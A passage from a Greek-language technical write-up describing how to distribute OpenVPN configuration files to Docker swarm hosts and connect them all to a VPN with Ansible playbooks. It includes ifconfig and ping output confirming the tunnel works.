        ip=$(nmap -sP $network | grep $host | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
        scp /project/vpn_files/$host.ovpn docker@$ip:/home/docker/myvpn.ovpn
done

Ο master κόμβος αναλαμβάνει τον διαμοιρασμό των .ovpn αρχείων στα μέλη του Σμήνους με τέτοιο τρόπο ώστε κάθε host να έχει στο δικό του home directory το μοναδικό .ovpn αρχείο που του αντιστοιχεί. Αξίζει να σημειωθεί ότι τα αρχεία μαζί με την μεταφορά τους μετονομάζονται σε myvpn.ovpn ώστε να είναι δυνατή η σύνδεση όλων των host στο VPN με μία μόνο εκτέλεση μέσω ansible.


Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 6 με αποτέλεσμα το ansible να εκτελέσει το playbook install_openvpn.yml

install_openvpn.yml
---
- name: Install openvpn on all hosts
  hosts: all_hosts
  become: true
  become_user: root

  tasks:
  - name: Installing openvpn
    apt:
      name: openvpn
      state: present

Το playbook install_openvpn.yml αναλαμβάνει την εγκατάσταση του εργαλείου openvpn σε όλα τα μέλη του σμήνους(συμπεραλαμβανομένου του master).


connect_to_vpn.sh
#!/bin/bash

nohup openvpn --config /home/docker/myvpn.ovpn &

Το script connect_to_vpn.sh συνδέει τον host που το εκτελεί στο VPN χρησιμοποιώντας το .ovpn file του.


Στη συνέχεια εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 7 με αποτέλεσμα το ansible να εκτελέσει το playbook connect_to_vpn.yml.

connect_to_vpn.yml
- name: Connect to VPN
  hosts: all_hosts
  become: true
  become_user: root

  tasks:
  - name: Transferring script connect_to_vpn.sh to every host
    copy: src=/project/worker_scripts/connect_to_vpn.sh dest=/home/docker mode=0777

  - name: Connecting to VPN
    command: sh /home/docker/connect_to_vpn.sh

Το playbook connect_to_vpn.yml αναλαμβάνει την μεταφορά του script connect_to_vpn.sh στο οποίο αναφερθήκαμε νωρίτερα σε όλους τους hosts του σμήνους και το εκτελεί. Αποτέλεσμα είναι η σύνδεση όλων των μελών στο VPN με αυτοματοποιημένο τρόπο.


Εκτελούμε την εντολή ifconfig στον master

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.2  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:ac:1b:00:02  txqueuelen 0  (Ethernet)
        RX packets 26486  bytes 44006148 (44.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 29110  bytes 9171697 (9.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 21670  bytes 2146681 (2.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 21670  bytes 2146681 (2.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
        inet 10.80.0.2  netmask 255.255.0.0  destination 10.80.0.2
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 100  (UNSPEC)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Παρατηρούμε πως έχει δημιουργηθεί νέα κάρτα δικτύου τύπου tun και ότι ο master κατέχει την IP 10.80.0.2 στο VPN.


Στη συνέχεια εκτελούμε την εντολή ifconfig στον worker_1

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.3  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:ac:1b:00:03  txqueuelen 0  (Ethernet)
        RX packets 28626  bytes 32895662 (32.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14334  bytes 1342048 (1.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 10  bytes 877 (877.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10  bytes 877 (877.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
        inet 10.80.0.5  netmask 255.255.0.0  destination 10.80.0.5
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 100  (UNSPEC)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Πραγματοποιούμε ping ανάμεσα στους δύο host.

docker@7953b53e4903:~$ ping 10.80.0.2
PING 10.80.0.2 (10.80.0.2) 56(84) bytes of data.
64 bytes from 10.80.0.2: icmp_seq=1 ttl=64 time=0.312 ms
64 bytes from 10.80.0.2: icmp_seq=2 ttl=64 time=1.38 ms
64 bytes from 10.80.0.2: icmp_seq=3 ttl=64 time=0.704 ms
64 bytes from 10.80.0.2: icmp_seq=4 ttl=64 time=0.696 ms
64 bytes from 10.80.0.2: icmp_seq=5 ttl=64 time=0.409 ms
64 bytes from 10.80.0.2: icmp_seq=6 ttl=64 time=1.32 ms
64 bytes from 10.80.0.2: icmp_seq=7 ttl=64 time=0.659 ms
64 bytes from 10.80.0.2: icmp_seq=8 ttl=64 time=0.515 ms
64 bytes from 10.80.0.2: icmp_seq=9 ttl=64 time=1.27 ms
64 bytes from 10.80.0.2: icmp_seq=10 ttl=64 time=1.34 ms

Επομένως το VPN έχει υλοποιηθεί με επιτυχία.